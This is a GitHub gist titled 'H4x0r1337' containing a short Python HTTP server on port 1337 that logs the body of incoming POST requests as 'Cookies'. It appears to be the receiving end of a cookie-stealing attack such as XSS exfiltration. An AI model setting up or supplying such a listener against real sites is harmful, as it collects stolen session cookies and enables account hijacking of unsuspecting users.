Created
November 24, 2021 17:58
-
-
Save kennethlynne/718f5449b01d3759719f731612c3e11a to your computer and use it in GitHub Desktop.
H4x0r1337
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
from http.server import BaseHTTPRequestHandler, HTTPServer | |
import logging | |
class Server(BaseHTTPRequestHandler): | |
def _set_response(self): | |
self.send_response(200) | |
self.send_header('Content-type', 'text/html') | |
self.end_headers() | |
def do_POST(self): | |
content_length = int(self.headers['Content-Length']) | |
post_data = self.rfile.read(content_length) | |
logging.info("Cookies:\n%s\n", post_data.decode('utf-8')) | |
self._set_response() | |
self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) | |
def run(): | |
logging.basicConfig(level=logging.INFO) | |
server_address = ('', 1337) | |
httpd = HTTPServer(server_address, Server) | |
logging.info('Starting server on port 1337\n') | |
try: | |
httpd.serve_forever() | |
except KeyboardInterrupt: | |
pass | |
httpd.server_close() | |
logging.info('Stopping server\n') | |
if __name__ == '__main__': | |
run() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment